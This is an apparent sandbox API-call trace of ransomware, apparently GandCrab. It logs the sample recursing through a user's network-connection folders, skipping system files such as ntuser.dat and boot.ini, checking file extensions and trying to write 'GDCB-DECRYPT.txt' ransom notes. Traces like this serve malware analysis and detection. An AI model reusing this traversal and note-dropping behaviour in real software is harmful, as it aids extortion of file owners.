FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.583] lstrcmpW (lpString1="Connections", lpString2=".") returned 1 [0135.583] lstrcmpW (lpString1="Connections", lpString2="..") returned 1 [0135.583] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\", lpString2="Connections" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections" [0135.583] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\" [0135.583] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.583] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.583] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.583] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.583] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.583] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.583] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\") returned 68 [0135.584] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\*" [0135.584] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x2c7ac0 [0135.584] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.584] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.584] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.584] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.584] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.584] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.584] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.584] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\GDCB-DECRYPT.txt" [0135.584] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\GDCB-DECRYPT.txt") returned 84 [0135.584] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.584] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.584] lstrcmpW (lpString1="Pbk", lpString2=".") returned 1 [0135.584] lstrcmpW (lpString1="Pbk", lpString2="..") returned 1 [0135.584] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\", lpString2="Pbk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk" [0135.584] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk") returned 71 [0135.584] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0135.584] FindClose (in: hFindFile=0x2c7ac0 | out: hFindFile=0x2c7ac0) returned 1 [0135.584] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.584] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\\\GDCB-DECRYPT.txt") returned 85 [0135.585] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\network\\connections\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.585] GetLastError () returned 0x50 [0135.585] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.585] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\") returned 68 [0135.585] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\*" [0135.585] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x2c7640 [0135.585] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.585] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.585] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.585] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.585] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.585] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.585] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.585] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\GDCB-DECRYPT.txt" [0135.585] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.585] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\GDCB-DECRYPT.txt") returned 84 [0135.585] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\GDCB-DECRYPT.txt") returned 84 [0135.585] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\GDCB-DECRYPT.txt") returned 84 [0135.585] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\GDCB-DECRYPT.txt") returned 84 [0135.585] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.585] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.585] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.585] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.585] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.585] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.585] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.585] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.585] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.585] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.586] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.586] lstrcmpW (lpString1="Pbk", lpString2=".") returned 1 [0135.586] lstrcmpW (lpString1="Pbk", lpString2="..") returned 1 [0135.586] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\", lpString2="Pbk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk" [0135.586] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\" [0135.586] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.586] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.586] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.586] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.586] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.586] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.586] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\") returned 72 [0135.586] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\*" [0135.586] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\*", lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0x2c7680 [0135.587] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.587] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0135.587] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.587] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.587] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0135.587] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.587] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.587] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\GDCB-DECRYPT.txt" [0135.587] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\GDCB-DECRYPT.txt") returned 88 [0135.587] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.587] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0135.587] lstrcmpW (lpString1="_hiddenPbk", lpString2=".") returned 1 [0135.587] lstrcmpW (lpString1="_hiddenPbk", lpString2="..") returned 1 [0135.587] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\", lpString2="_hiddenPbk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk" [0135.587] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk") returned 82 [0135.587] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0 [0135.587] FindClose (in: hFindFile=0x2c7680 | out: hFindFile=0x2c7680) returned 1 [0135.587] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.587] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\\\GDCB-DECRYPT.txt") returned 89 [0135.587] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\network\\connections\\pbk\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.588] GetLastError () returned 0x50 [0135.588] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.588] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\") returned 72 [0135.588] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\*" [0135.588] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\*", lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0x2c7900 [0135.588] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.588] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0135.588] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.588] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.588] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0135.588] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.588] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.588] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\GDCB-DECRYPT.txt" [0135.588] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.588] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\GDCB-DECRYPT.txt") returned 88 [0135.588] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\GDCB-DECRYPT.txt") returned 88 [0135.588] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\GDCB-DECRYPT.txt") returned 88 [0135.588] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\GDCB-DECRYPT.txt") returned 88 [0135.588] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.588] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.588] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.588] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.588] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.588] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.588] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.588] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.588] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.588] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.589] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0135.589] lstrcmpW (lpString1="_hiddenPbk", lpString2=".") returned 1 [0135.589] lstrcmpW (lpString1="_hiddenPbk", lpString2="..") returned 1 [0135.589] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\", lpString2="_hiddenPbk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk" [0135.589] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\" [0135.589] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.589] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.589] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.589] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.589] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.589] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.589] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\") returned 83 [0135.589] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\*" [0135.589] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\*", lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0x2c7980 [0135.589] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.589] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0135.589] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.589] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.589] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0135.589] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.589] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.589] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\GDCB-DECRYPT.txt" [0135.589] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\GDCB-DECRYPT.txt") returned 99 [0135.589] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.589] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0135.589] lstrcmpW (lpString1="rasphone.pbk", lpString2=".") returned 1 [0135.589] lstrcmpW (lpString1="rasphone.pbk", lpString2="..") returned 1 [0135.589] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\", lpString2="rasphone.pbk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk" [0135.589] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk") returned 95 [0135.589] lstrcmpW (lpString1=".pbk", lpString2=".sql") returned -1 [0135.589] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0 [0135.589] FindClose (in: hFindFile=0x2c7980 | out: hFindFile=0x2c7980) returned 1 [0135.590] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.590] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\\\GDCB-DECRYPT.txt") returned 100 [0135.590] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\network\\connections\\pbk\\_hiddenpbk\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.590] GetLastError () returned 0x50 [0135.590] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.590] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\") returned 83 [0135.590] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\*" [0135.590] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\*", lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0x2c7680 [0135.590] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.590] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0135.590] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.590] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.590] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0135.590] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.590] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.590] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\GDCB-DECRYPT.txt" [0135.590] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.590] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\GDCB-DECRYPT.txt") returned 99 [0135.591] lstrlenW 